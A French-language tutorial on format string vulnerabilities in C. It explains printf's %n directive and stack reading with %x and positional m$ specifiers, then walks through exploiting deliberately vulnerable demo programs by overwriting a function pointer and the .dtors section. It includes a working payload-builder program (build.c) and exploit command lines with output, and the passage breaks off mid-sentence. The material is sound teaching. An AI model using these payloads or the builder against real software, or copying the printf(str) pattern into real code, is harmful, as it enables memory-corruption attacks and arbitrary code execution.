La plupart des failles de sécurité ont souvent une même cause : la paresse. La règle n'est pas mises en défaut dans le cas des bogues de format.
Très souvent, dans un programme, il est nécessaire d'écrire une chaîne de caractères (le "lieu" de l'écriture n'est pas important, il peut tout aussi bien s'agir d'un fichier que de la sortie standard). Une simple instruction suffit :
printf("%s", str);
Toutefois, un programmeur peut décider de gagner du temps et six octets en n'écrivant que :
printf(str);
Par ce souci d'économie, ce programmeur vient d'ouvrir une faille
potentielle dans son oeuvre. Il s'est contenté de passer comme
argument une chaîne de caractères, qu'il voulait de toute
façon afficher sans aucune modification. Pourtant, cette chaîne sera
balayée à la recherche de directives de formatage (%d, %g,
...)
. Lorsqu'un tel caractère de format est découvert,
l'argument correspondant est recherché dans la pile.
Nous commencerons par quelques rappels sur les fonctions de type
printf()
, mais nous aborderons également des aspects
moins connus de ces routines. Ensuite, nous verrons comment obtenir
les informations nécessaires à l'exploitation d'une telle faille. Enfin, nous
rassemblerons tout ceci dans le cadre d'un exemple simple.
printf()
: on m'aurait menti !Commençons par ce que nous avons tous appris dans nos manuels de programmation : la plupart des fonctions de lecture/écriture du langage C utilisent un mécanisme de formatage des données, c'est-à-dire qu'outre la valeur à lire ou écrire, il faut également préciser comment l'écrire. Le programme suivant illustre ceci simplement :
/* aff.c */ #include <stdio.h> main() { int i = 64; char a = 'a'; printf("int : %d %d\n", i, a); printf("char : %c %c\n", i, a); }Son exécution produit l'affichage suivant :
>>gcc aff.c -o aff >>./aff int : 64 97 char : @ aLe premier
printf()
écrit le contenu de la variable
entière i
et de la variable a
de type
char
sous forme de valeurs entières (par le formatage %d
), ce qui
provoque, dans la cas de la variable a
, l'affichage non
de la lettre 'a'
mais du code ASCII correspondant. En revanche, le
second printf()
convertit la variable entière
i
en caractère et affiche le caractère correspondant au
code ASCII 64.
Ceci ne constitue en rien une révolution et reste conforme avec de
nombreuses fonctions qui utilisent un prototypage similaire à celui de
la fonction printf()
:
const
char *format
) sert à préciser le format employé ;
La plupart de nos cours de programmation s'arrêtent ici, en précisant
une liste non exhaustive de formatages possibles (%g
,
%h
, %x
, l'utilisation du caractère
.
pour indiquer la précision...) Mais il est un
formatage souvent passer sous silence :%n
. Voici ce
qu'en dit la page man
de la fonction
printf()
:
The number of characters written so far is stored into the
integer indicated by the int * (or variant)
pointer argument. No argument is converted.
|
Le nombre de caractères déjà écrits est stocké dans
l'entier indiqué par l'argument pointeur de type
int * . Aucun argument n'est converti.
|
Il faut bien comprendre ce que cela signifie : cet argument permet d'écrire dans une variable de type pointeur, même lorsqu'il est utilisé dans une fonction d'affichage !
Avant de continuer, signalons que ce format existe également pour les
fonctions de la famille de scanf()
, syslog()
, ...
Nous allons maintenant étudier l'utilisation et le comportement de ce
formatage au travers de petits programmes. Le premier,
printf1
, en illustre une utilisation simple :
/* printf1.c */ 1: #include <stdio.h> 2: 3: main() { 4: char *buf = "0123456789"; 5: int n; 6: 7: printf("%s%n\n", buf, &n); 8: printf("n = %d\n", n); 9: }Le premier
printf()
affiche la chaîne de caractères
"0123456789
" qui comporte dix caractères. Le format
%n
écrit donc cette valeur dans la variable
n
:
>>gcc printf1.c -o printf1 >>./printf1 0123456789 n = 10Transformons légèrement notre programme en remplaçant l'instruction
printf()
de la ligne 7 par l'instruction suivante :
7: printf("buf=%s%n\n", buf, &n);L'exécution de ce nouveau programme confirme bien nos espoirs : la variable
n
vaut 14, soit 10 caractères provenant de la chaîne
"buf
" plus les 4 caractères
"buf=
" contenus dans la chaîne de
format elle-même.
Le formatage %n
comptabilise donc tous les caractères qui
apparaissent dans la chaîne de format. En fait, comme le montre le
programme printf2
, il comptabilise plus que ça :
/* printf2.c */ #include <stdio.h> main() { char buf[10]; int n, x = 0; snprintf(buf, sizeof buf, "%.100d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); }L'utilisation de la fonction
snprintf()
force l'écriture
d'au plus dix octets dans la variable buf
. La variable
n
devrait donc valoir 10 :
>>gcc printf2.c -o printf2 >>./printf2 l = 9 n = 100En fait, le format
%n
compte le nombre de caractères qui
auraient dû être écrits. Cet exemple illustre
que lors de l'écriture tronquée d'une chaîne dans un buffer de taille
fixe, le format %n
ignore cette troncature.
Que se passe-t-il réellement ? En fait, la chaîne de format est
complètement développée avant d'être recopiée, comme l'illustre le
programme printf3
:
/* printf3.c */ #include <stdio.h> main() { char buf[5]; int n, x = 1234; snprintf(buf, sizeof buf, "%.5d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); printf("buf = [%s] (%d)\n", buf, sizeof buf); }
printf3
comporte quelques différences par rapport à
printf2
:
>>gcc printf3.c -o printf3 >>./printf3 l = 4 n = 5 buf = [0123] (5)Les deux premières lignes ne présentent aucune surprise. Quant à la dernière, elle illustre le comportement de la fonction
printf()
:
00000\0
" ;
x
dans notre
exemple. La chaîne de caractères contient alors
"01234\0
" ;
sizeof buf - 1
octets2
sont recopiés de cette chaîne dans la destination
buf
, ce qui nous donne bien "0123\0
"
GlibC
, en particulier celles de la fonction
vfprintf()
dans le répertoire
${GLIBC_HOME}/stdio-common
.
Avant de clore cette partie, signalons qu'il est possible d'obtenir
exactement les mêmes résultats avec une autre écriture dans les
chaînes de format. Nous avons précédemment utilisé le format appelé
précision (le point '.' dans les chaînes de format). Cette précision
indique la quantité minimale de chiffres
à écrire pour représenter un nombre. Une autre combinaison
d'instructions de format conduit à un résultat
similaire : 0n
, où n
indique la
largeur du nombre, 0
qu'il faut mettre des 0 à la place
des espaces au cas où le nombre ne remplirait pas toute la largeur qui
lui est allouée.
Maintenant que les chaînes de format en général et le format
%n
en particulier ne présentent plus aucun
secret, nous allons étudier leurs comportements.
printf()
printf()
vis-à-vis de la pile :
/* pile.c */ 1: #include <stdio.h> 2: 3: int 4 main(int argc, char **argv) 5: { 6: int i = 1; 7: char buffer[64]; 8: char tmp[] = "\x01\x02\x03"; 9: 10: snprintf(buffer, sizeof buffer, argv[1]); 11: buffer[sizeof (buffer) - 1] = 0; 12: printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); 13: printf ("i = %d (%p)\n", i, &i); 14: }Ce programme se contente de recopier un argument dans la chaîne
buffer
. Nous avons bien pris soin - comme nous l'avons vu
dans les articles précédents - de ne pas recopier
"trop" de données et de mettre un caractère de fin de chaîne afin
d'éviter les risques de débordement de buffers.
>>gcc pile.c -o pile >>./pile toto buffer : [toto] (4) i = 1 (bffff674)Il fonctionne comme nous nous y attendions. Avant d'approfondir, nous allons examiner ce qui se passe au niveau de la pile lors de l'appel de la fonction
snprintf()
en ligne 8.
La figure 1 décrit l'état de la pile au moment
où le programme entre dans la fonction snprintf()
. Nous
ne nous préoccupons pas ici du registre %esp
. Il pointe
quelque part
en-dessous du registre %ebp
. Comme nous l'avons vu dans
un précédent article, les deux premières valeurs situées
en %ebp
et %ebp+4
contiennent
les sauvegardes respectives des registres %ebp
et
%eip
. Les arguments de la fonction
snprintf()
apparaissent alors :
argv[1]
qui fait
également office de donnée.
tmp
, puis les 64 octets de la variable
buffer
et finalement la variable entière i
.
La chaîne de caractères argv[1]
sert à la fois de chaîne
de format et de données. En effet, dans l'ordre des arguments normaux
de la fonction snprintf()
, argv[1]
apparaît
en lieu et place de la chaîne de format. Comme il n'est pas
spécialement contre-indiqué d'avoir des caractères dans
celle-ci3, tout se déroule
normalement.
Que se passe-t-il maintenant lorsque
argv[1]
ne contient plus uniquement des caractères
simples, mais également des caractères de contrôle ? Normalement,
snprintf()
les interprète comme tels... et il n'y a
aucune raison pour qu'il agisse différement. Mais dans ce cas,
quels sont les arguments employés pour construire la chaîne résultante
étant donné que nous ne lui en fournissons aucun ? En fait,
snprintf()
se sert directement dans la pile !
Revenons à notre programme pile
:
>>./pile "123 %x" buffer : [123 30201] (9) i = 1 (bffff674)
Tout d'abord, la chaîne "123
" est recopiée dans
buffer
.
Le %x
indique à snprintf()
de convertir le
premier argument rencontré en hexadécimal. D'après la figure 1, ce
premier argument n'est autre que la variable tmp
qui
contient la chaîne \x01\x02\x03\x00
, ce qui apparaît,
sur notre type de microprocesseur, comme l'équivalent du nombre
hexadécimal 0x00030201.
>>./pile "123 %x %x" buffer : [123 30201 20333231] (18) i = 1 (bffff674)
L'ajout d'un second %x
permet d'explorer plus loin dans
la pile. En effet, il indique à snprintf()
d'aller
chercher les quatre octets situés après la variable tmp
. Il
s'agit alors des quatre premiers octets du
buffer
. Or, buffer
contient
la chaîne "123
", ce qui peut se voir comme le nombre hexadécimal
0x20333231 (0x20=espace, 0x31='1'...).
Pour chaque %x
, snprintf()
"se
déplace" par sauts de quatre octets (unsigned int
sur les processeurs
ix86) dans buffer
.
Cette variable joue ainsi un double rôle :
buffer
:
>>./pile "%#010x %#010x %#010x %#010x %#010x %#010x" buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378 0x333837] (63) i = 1 (bffff654)
Parmi les instructions de formatage, il en existe une utilisée parfois
lorsqu'il est nécessaire de permuter les paramètres à convertir. On insère entre
le caractère %
et la directive de mise en forme une séquence
m$
, où
m
est un entier positif ou nul. Ce nombre représente
la position dans la liste d'arguments de la variable à utiliser (le
compte commence à 1) :
/* explore.c */ #include <stdio.h> int main(int argc, char **argv) { char buf[12]; memset(buf, 0, 12); snprintf(buf, 12, argv[1]); printf("[%s] (%d)\n", buf, strlen(buf)); }
Le formatage à l'aide de m$
nous permet de remonter où nous voulons dans la pile, tout comme nous le
ferions en utilisant gdb
:
>>./explore %1\$x [0] (1) >>./explore %2\$x [0] (1) >>./explore %3\$x [0] (1) >>./explore %4\$x [bffff698] (8) >>./explore %5\$x [1429cb] (6) >>./explore %6\$x [2] (1) >>./explore %7\$x [bffff6c4] (8)
Le caractère \
est ici nécessaire pour protéger le $
et éviter que le shell n'essaye de l'interpréter.
Les trois premiers appels nous font visiter le contenu de la
variable buf
. Nous obtenons, avec
%4\$x
la sauvegarde du registre %ebp
, puis,
avec le suivant, la valeur de l'adresse de retour de la fonction
main()
. Les 2 derniers résultats présentés ici montrent
la valeur de la variable argc
puis l'adresse contenue
dans *argv
(rappelons que la déclaration
**argv
signifie que *argv
est un tableau
d'adresses).
Cet exemple illustre que les formats fournis nous permettent alors de
remonter dans la pile en quête d'informations, par exemple la
valeur de retour d'une fonction, une adresse... Or, nous avons vu au
début de cet
article que nous pouvions écrire avec les fonctions de type
printf()
: nous sommes donc en présence d'une
magnifique vulnérabilité potentielle !
Pour terminer de vous convaincre, revenons au programme
pile
:
>>perl -e 'system "./pile \x64\xf6\xff\xbf%.496x%n"' buffer : [döÿ¿00000000000000000000000000000000000000000000000000000000000] (63) i = 500 (bffff664)Nous transmettons comme chaîne de caractères :
i
;
%.496x
) ;
%n
) qui
écrira à l'adresse indiquée dans la pile.
i
(0xbffff664
ici), on
peut lancer deux fois le programme, et modifier la ligne de commande en conséquence.
Comme vous pouvez le constater, i
a changé de valeur.
La chaîne de format transmise et la disposition de la pile signifient
que le snprintf()
s'interprète en fait ainsi :
snprintf(buffer, sizeof buffer, "\x64\xf6\xff\xbf%.496x%n", tmp, quatre premiers octets de buffer);
Les quatre premiers octets (i.e. l'adresse de i
) sont écrits
au début de buffer
.
La directive %.496x
nous se "débarasse" de la variable
tmp
présente dans la pile. Nous pourrons ainsi arriver au
début du buffer. Bien que la précision d'écriture demandée soit 496,
elle n'écrit que soixante octets au maximum (car il y en a déjà quatre
d'écrit, et la longueur du buffer, transmise en second argument vaut
64). La valeur 496 est arbitraire, et nous permet de manipuler le
compteur d'octets écrits. Nous avons vu que la directive
%n
stocke le nombre d'octets qui auraient dû être
écrits. Ici, cette valeur vaut 496 plus les quatre octets déjà écrits,
soit 500. Ce nombre est recopié à l'adresse indiquée par l'argument
suivant. Comme la remontée de la pile nous à conduit au début du
buffer, l'écriture a lieu à l'adresse représentée
par ses quatre premiers octets, c'est-à-dire i
.
Mais nous pouvons pousser cet exemple encore plus loin. Pour parvenir
à modifier la valeur de i
, nous avions besoin de
connaître son adresse... mais dans certains cas, le programme nous la
donne :
/* swap.c */ #include <stdio.h> main(int argc, char **argv) { int cpt1 = 0; int cpt2 = 0; int addr_cpt1 = &cpt1; int addr_cpt2 = &cpt2; printf(argv[1]); printf("\ncpt1 = %d\n", cpt1); printf("cpt2 = %d\n", cpt2); }
L'exécution de ce programme nous révèle que nous pouvons contrôler la pile (presque) comme nous le voulons :
>>./swap AAAA AAAA cpt1 = 0 cpt2 = 0 >>./swap AAAA%1\$n AAAA cpt1 = 0 cpt2 = 4 >>./swap AAAA%2\$n AAAA cpt1 = 4 cpt2 = 0
Comme vous le constatez, en fonction de l'argument fourni, nous
modifions soit cpt1
, soit cpt2
. Le format
%n
s'attend à rencontrer une adresse, c'est pourquoi nous ne pouvons pas
modifier directement une variable en essayant %3$n (cpt2)
ou %4$n (cpt1)
mais que nous devons passer par un
pointeur. Ces derniers sont des denrées courantes en C
et les possibilités de modifications sont vraiment fréquentes.
egcs-2.91.66
et
glibc-2.1.3-22
. Toutefois, vous n'obtiendrez probablement
pas les mêmes résultats chez vous. En effet, les fonctions de
type *printf()
changent suivant les versions de la
glibc
et les compilateurs n'effectuent pas du tout les
mêmes opérations.
Le programme bidon
met en évidence ces différences :
/* bidon.c */ #include <stdio.h> main(int argc, char **argv) { char aaa[] = "AAA"; char buffer[64]; char bbb[] = "BBB"; if (argc < 2) { printf("Usage : %s <format>\n",argv[0]); exit (-1); } memset(buffer, 0, sizeof buffer); snprintf(buffer, sizeof buffer, argv[1]); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); }
Les tableaux aaa
et bbb
nous servent de
délimiteurs dans notre remontée de la pile. Ainsi, nous saurons que
lorsque nous rencontrerons 424242
, les octets suivants
suivants seront dans buffer
. Le tableau 1 présente les différences en fonction des
versions des glibc
.
|
|
|
gcc-2.95.3 | 2.1.3-16 | buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63) |
egcs-2.91.66 | 2.1.3-22 | buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63) |
gcc-2.96 | 2.1.92-14 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
gcc-2.96 | 2.2-12 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
Dans la suite de cet article, nous continuerons à utiliser
egcs-2.91.66
et la glibc-2.1.3-22
, mais ne
soyez donc pas surpris si vous constatez des différences sur votre
machine.
Lors de l'exploitation des débordements de buffer, nous profitions d'un buffer pour aller dans la pile écraser la valeur de retour de la fonction.
Avec les chaînes de format, nous avons vu que nous pouvions accéder
où nous voulions (pile, tas, bss, .dtors...),
nous devons juste fournir l'adresse pour que la directive
%n
sache où écrire.
/* vuln.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int helloWorld(); int accessForbidden(); int vuln(const char *format) { char buffer[128]; int (*ptrf)(); memset(buffer, 0, sizeof(buffer)); printf("helloWorld() = %p\n", helloWorld); printf("accessForbidden() = %p\n\n", accessForbidden); ptrf = helloWorld; printf("Avant formatage : ptrf() = %p (%p)\n", ptrf, &ptrf); snprintf(buffer, sizeof buffer, format); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); printf("Après formatage : ptrf() = %p (%p)\n", ptrf, &ptrf); return ptrf(); } int main(int argc, char **argv) { int i; if (argc <= 1) { fprintf(stderr, "Usage: %s <buffer>\n", argv[0]); exit(-1); } for(i=0;i<argc;i++) printf("%d %p\n",i,argv[i]); exit(vuln(argv[1])); } int helloWorld() { printf("Welcome in \"helloWorld\"\n"); fflush(stdout); return 0; } int accessForbidden() { printf("You shouldn't be here \"accesForbidden\"\n"); fflush(stdout); return 0; }
Nous définissons une variable ptrf
qui est de type
pointeur sur une fonction. Nous allons modifier la valeur
de ce pointeur pour exécuter la fonction de notre choix.
Tout d'abord, il nous faut obtenir le décalage existant entre la position courante dans le pile et le buffer :
>>./vuln "AAAA %x %x %x %x" helloWorld() = 0x8048634 accessForbidden() = 0x8048654 Avant formatage : ptrf() = 0x8048634 (0xbffff5d4) buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37) Après formatage : ptrf() = 0x8048634 (0xbffff5d4) Welcome in "helloWorld" >>./vuln AAAA%3\$x helloWorld() = 0x8048634 accessForbidden() = 0x8048654 Avant formatage : ptrf() = 0x8048634 (0xbffff5e4) buffer = [AAAA41414141] (12) Après formatage : ptrf() = 0x8048634 (0xbffff5e4) Welcome in "helloWorld"
Le premier appel à notre programme nous révèle immédiatement ce que
nous recherchons : trois mots (au sens mot machine, i.e. quatre
octets sur les x86) nous séparent du début de la variable
buffer
. Le second appel, avec comme premier argument
AAAA%3\$x
, confirme ce constat.
Notre but est donc de remplacer le contenu initial du pointeur
ptrf
(à savoir 0x8048634
qui correspond à
l'adresse en mémoire de la fonction helloWorld()
) par la
valeur 0x8048654
(adresse de
accessForbidden()
). Nous devons donc écrire
0x8048654
octets (ce qui fait 134514260 octets, environ
128Mo). Toutes les machines ne peuvent se permettre une telle débauche
de mémoire... mais celle qui sert à nos tests si :) A titre
indicatif, le programme
prend environ 20 secondes sur un bi-pentium 350 MHz :
>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n ` helloWorld() = 0x8048634 accessForbidden() = 0x8048654 Avant formatage : ptrf() = 0x8048634 (0xbffff5d4) buffer = [Ôõÿ¿000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000] (127) Après formatage : ptrf() = 0x8048654 (0xbffff5d4) You shouldn't be here "accesForbidden"
Qu'avons-nous fait ? Nous avons juste fourni l'adresse de
ptrf (0xbffff5d4)
. Ensuite, l'instruction suivante de
formatage (%.134514256x
) lit le premier mot de la pile sur
le nombre désiré d'octets (nous avons déjà écrit quatre octets avec
l'adresse de ptrf
, il en reste donc
134514260-4=134514256
). Enfin, nous écrivons cette valeur à
l'adresse désirée (%3$n
).
Toutefois, comme nous l'avons signalé, il n'est pas toujours possible
d'utiliser des buffers de 128Mo. Le format %n
attend
un pointeur sur un entier, c'est-à-dire quatre octets. Il est possible
d'en altérer le comportement pour en faire un pointeur sur un
short int
, soit uniquement deux octets, grâce à
l'instruction %hn
. Nous découpons donc l'entier
dans lequel nous voulons écrire en deux parties. La plus grosse écriture
tiendra alors sur 0xffff
octets (65535 octets =
64Ko). Ainsi, en reprenant
l'exemple précédent, nous transformons l'opération "écrire
0x8048654
à l'adresse 0xbffff5d4
"
en deux opérations successives :
0x8654
à l'adresse 0xbffff5d4
0x0804
à l'adresse
0xbffff5d4+2=0xbffff5d6
Cependant, %n
(ou au
%hn
) comptabilise le nombre de caractères
écrits jusqu'à présent dans la chaîne. Il ne fait donc
qu'augmenter. Des deux paires d'octets, nous commençons donc par
celle qui contient la plus petite valeur ! Ensuite, il ne reste plus
qu'à utiliser la différence entre cette valeur et la seconde en guise
de précision pour obtenir la bonne valeur. De retour à notre exemple,
le premier formatage est %.2052x
(2052 = 0x0804) et le
second %.32336x
(32336 = 0x8654 - 0x0804). Chaque
%hn
placé juste après comptabilisera le nombre voulu
d'octets.
Il reste à indiquer aux deux instructions de formatage
%hn
où écrire. L'opérateur m$
nous facilite
la tâche. Si nous plaçons ces deux adresses dès le début du buffer,
nous n'avons qu'à remonter la pile à coup de m$
pour
trouver la valeur de m
qui correspond au début du
buffer. Comme nous utilisons les huit premiers octets du buffer pour y
stocker les adresses à écraser, la première valeur écrite doit être
diminuée d'autant.
Notre chaîne de format ressemble alors à :
"[adr][adr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max -
val. min.]x%[offset+1]$hn"
Le programme build
construit une chaîne de format à
partir de trois informations :
/* build.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> /** Les quatre octets où écrire sont décomposés ainsi : HH HH LL LL Les variables terminant par "*h" correspondent à la partie haute (H) Les variables terminant par "*l" correspondent à la partie basse (L) */ char* build(unsigned int addr, unsigned int value, unsigned int where) { unsigned int length = 128; //j'ai la flemme de calculer ... unsigned int valh; unsigned int vall; unsigned char b0 = (addr >> 24) & 0xff; unsigned char b1 = (addr >> 16) & 0xff; unsigned char b2 = (addr >> 8) & 0xff; unsigned char b3 = (addr ) & 0xff; char *buf; /* décomposition de la valeur */ valh = (value >> 16) & 0xffff; //haut vall = value & 0xffff; //bas fprintf(stderr, "adr : %d (%x)\n", addr, addr); fprintf(stderr, "val : %d (%x)\n", value, value); fprintf(stderr, "valh: %d (%.4x)\n", valh, valh); fprintf(stderr, "vall: %d (%.4x)\n", vall, vall); /* allocation du buffer */ if ( ! (buf = (char *)malloc(length*sizeof(char))) ) { fprintf(stderr, "Can't allocate buffer (%d)\n", length); exit(EXIT_FAILURE); } memset(buf, 0, length); /* let's build */ if (valh < vall) { snprintf(buf, length, "%c%c%c%c" /* adresse haute */ "%c%c%c%c" /* adresse basse */ "%%.%hdx" /* pour ajuster le premier %hn */ "%%%d$hn" /* le %hn sur la partie haute */ "%%.%hdx" /* pour ajuster le second %hn */ "%%%d$hn" /* le %hn sur la partie basse */ , b3+2, b2, b1, b0, /* adresse haute */ b3, b2, b1, b0, /* adresse basse */ valh-8, /* pour ajuster le premier %hn */ where, /* le %hn sur la partie haute */ vall-valh, /* pour ajuster le second %hn */ where+1 /* le %hn sur la partie basse */ ); } else { snprintf(buf, length, "%c%c%c%c" /* adresse haute */ "%c%c%c%c" /* adresse basse */ "%%.%hdx" /* pour ajuster le premier %hn */ "%%%d$hn" /* le %hn sur la partie haute */ "%%.%hdx" /* pour ajuster le second %hn */ "%%%d$hn" /* le %hn sur la partie basse */ , b3+2, b2, b1, b0, /* adresse haute */ b3, b2, b1, b0, /* adresse basse */ vall-8, /* pour ajuster le premier %hn */ where+1, /* le %hn sur la partie basse */ valh-vall, /* pour ajuster le second %hn */ where /* le %hn sur la partie haute */ ); } return buf; } int main(int argc, char **argv) { char *buf; if (argc < 3) return EXIT_FAILURE; buf = build(strtoul(argv[1], NULL, 16), /* adresse */ strtoul(argv[2], NULL, 16), /* valeur */ atoi(argv[3])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); return EXIT_SUCCESS; }
Selon que la première valeur à écrire se situe dans la partie haute ou basse de la valeur totale, l'ordre des arguments change. Vérifions que nous obtenons maintenant le même résultat que précédemment, mais sans les problèmes potentiels de mémoires.
Tout d'abord, notre exemple étant assez simple, le seul paramètre que nous avons à déterminer est l'offset :
>>./vuln AAAA%3\$x argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 Avant formatage : ptrf() = 0x8048644 (0xbffff5d4) buffer = [AAAA41414141] (12) Après formatage : ptrf() = 0x8048644 (0xbffff5d4) Welcome in "helloWorld"
Nous constatons qu'il vaut toujours 3. Comme notre programme poursuit
un but pédagogique, nous avons déjà les autres informations nécessaires
à l'exploitation, c'est-à-dire les adresses de ptrf
et
accesForbidden()
. Nous transmettons alors notre buffer à
vuln
:
>>./vuln `./build 0xbffff5d4 0x8048664 3` adr : -1073744428 (bffff5d4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [Öõÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 Avant formatage : ptrf() = 0x8048644 (0xbffff5b4) buffer = [Öõÿ¿Ôõÿ¿00000000000000000000d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000] (127) Après formatage : ptrf() = 0x8048644 (0xbffff5b4) Welcome in "helloWorld"Il ne s'est rien passé ! En fait, comme nous avons employé un buffer plus grand que le précédent dans la chaîne de format, la pile a changé l'adresse de
ptrf
(de 0xbffff5d4
, elle
s'est déplacée à 0xbffff5b4
). Nous devons donc ajuster
cette valeur :
>>./vuln `./build 0xbffff5b4 0x8048664 3` adr : -1073744460 (bffff5b4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 Avant formatage : ptrf() = 0x8048644 (0xbffff5b4) buffer = [¶õÿ¿´õÿ¿00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000] (127) Après formatage : ptrf() = 0x8048664 (0xbffff5b4) You shouldn't be here "accesForbidden"Notre programme fonctionne !!!
.dtors
.
Lorsqu'un programme est compilé avec gcc
, il contient une
section constructeur (.ctors
) et une autre
destructeur (.dtors
). Chacune de ces sections
contient des pointeurs sur des fonctions à exécuter respectivement
avant d'entrer dans le main()
et une fois que le programme
en sort.
/* cdtors */ void entree(void) __attribute__ ((constructor)); void sortie(void) __attribute__ ((destructor)); int main() { printf("dans main()\n"); } void entree(void) { printf("dans entree()\n"); } void sortie(void) { printf("dans sortie()\n"); }Le résultat obtenu illustre ceci :
>>gcc cdtors.c -o cdtors >>./cdtors dans entree() dans main() dans sortie()Chacune de ces sections est construite de la même manière :
>>objdump -s -j .ctors cdtors cdtors: file format elf32-i386 Contents of section .ctors: 804949c ffffffff dc830408 00000000 ............ >>objdump -s -j .dtors cdtors cdtors: file format elf32-i386 Contents of section .dtors: 80494a8 ffffffff f0830408 00000000 ............On vérifie que les adresses indiquées correspondent bien à celles de nos fonctions (attention : la commande
objdump
précédente donne les adresses en little endian) :
>>objdump -t cdtors | egrep "entree|sortie" 080483dc g F .text 00000012 entree 080483f0 g F .text 00000012 sortieAinsi, ces sections contiennent les adresses des fonctions à exécuter en entrée ou sortie, encadrées par
0xffffffff
et
0x00000000
.
Appliquons ceci à vuln
en utilisant les chaînes de
format. Nous devons déterminer tout d'abord l'emplacement en mémoire
de ces sections, ce qui est très facile lorsque le binaire est à
portée de main, simplement en utilisant la commande
objdump
comme nous venons de le faire :
>> objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 8049844 ffffffff 00000000 ........Ça y est, c'est terminé : nous avons tout ce qu'il nous faut maintenant.
L'exploitation consiste à remplacer l'adresse de la fonction présente
dans une des sections par celle de la fonction que nous voulons
exécuter. Au cas où ces sections sont vides, il suffit d'écraser le
0x00000000
qui marque la fin de la section, ce qui aura
pour effet de provoquer une segmentation fault
car ne
trouvant plus
le 0x00000000
, les quatre octets suivants seront
interprétés à leur tour comme une adresse de fonction, ce qui n'est
probablement pas le cas.
En pratique, seule la section
.dtors
est intéressante à exploiter : on n'a pas le
temps de faire quoique ce soit avant la section
.ctors
. D'une manière générale, il faut écraser
l'adresse qui se situe quatre octets après le début de la section (le
0xffffffff
) pour que notre fonction soit exécutée en
premier :
0x00000000
;
Pour notre exploitation, nous substituons donc le
0x00000000
de la section .dtors
, situé en
0x8049848=0x8049844+4
, par l'adresse de
la fonction accesForbidden()
déjà connue
(0x8048664
) :
>./vuln `./build 0x8049848 0x8048664 3` adr : 134518856 (8049848) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [JH%.2044x%3$hn%.32352x%4$hn] (33) argv2 = bffff694 (0xbffff51c) helloWorld() = 0x8048648 accessForbidden() = 0x8048664 Avant formatage : ptrf() = 0x8048648 (0xbffff434) buffer = [JH00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000] (127) Après formatage : ptrf() = 0x8048648 (0xbffff434) Welcome in "helloWorld" You shouldn't be here "accesForbidden" Segmentation fault (core dumped)Le programme se déroule normalement, jusqu'à l'appel de
helloWorld()
. Ensuite, lorsqu'il s'agit de quitter le
main()
, la fonction accesForbidden()
est
exécutée avant le "plantage" attendu.
Nous avons présenté ici des cas simples d'exploitation, sans grande
conséquence. En utilisant le même principe, Il suffit de passer un
shellcode au programme vulnérable (soit par l'intermédiaire de
argv
, soit par une variable d'environnement) et d'aller
"pointer" dessus au moment opportun pour se retrouver avec un shell.
Jusqu'à présent, nous savons :
Toutefois, dans la réalité, le programme vulnérable n'est pas aussi
sympathique que celui utilisé en exemple. Nous allons présenter une
technique qui permet de passer un shellcode en mémoire et de retrouver
son adresse exacte (i.e. fini les tonnes de NOP
au début).
Le principe repose sur des appels successifs de fonctions
exec*()
:
/* argv.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char **argv) { char **env; char **arg; int nb = atoi(argv[1]), i; env = (char **) malloc(sizeof(char *)); env[0] = 0; arg = (char **) malloc(sizeof(char *) * nb); arg[0] = argv[0]; arg[1] = (char *) malloc(5); snprintf(arg[1], 5, "%d", nb-1); arg[2] = 0; /* printings */ printf("*** argv %d ***\n", nb); printf("argv = %p\n", argv); printf("arg = %p\n", arg); for (i = 0; i<argc; i++) { printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]); printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]); } printf("\n"); /* recall */ if (nb == 0) exit(0); execve(argv[0], arg, env); }Ce programme prend comme argument un nombre
nb
et
s'appelle récursivement nb+1
fois :
>>./argv 2 *** argv 2 *** argv = 0xbffff6b4 arg = 0x8049828 argv[0] = 0xbffff80b (0xbffff6b4) arg[0] = 0xbffff80b (0x8049828) argv[1] = 0xbffff812 (0xbffff6b8) arg[1] = 0x8049838 (0x804982c) *** argv 1 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c) *** argv 0 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c)
Nous constatons immédiatement que les adresses allouées pour
arg
et argv
n'évolue plus après le deuxième
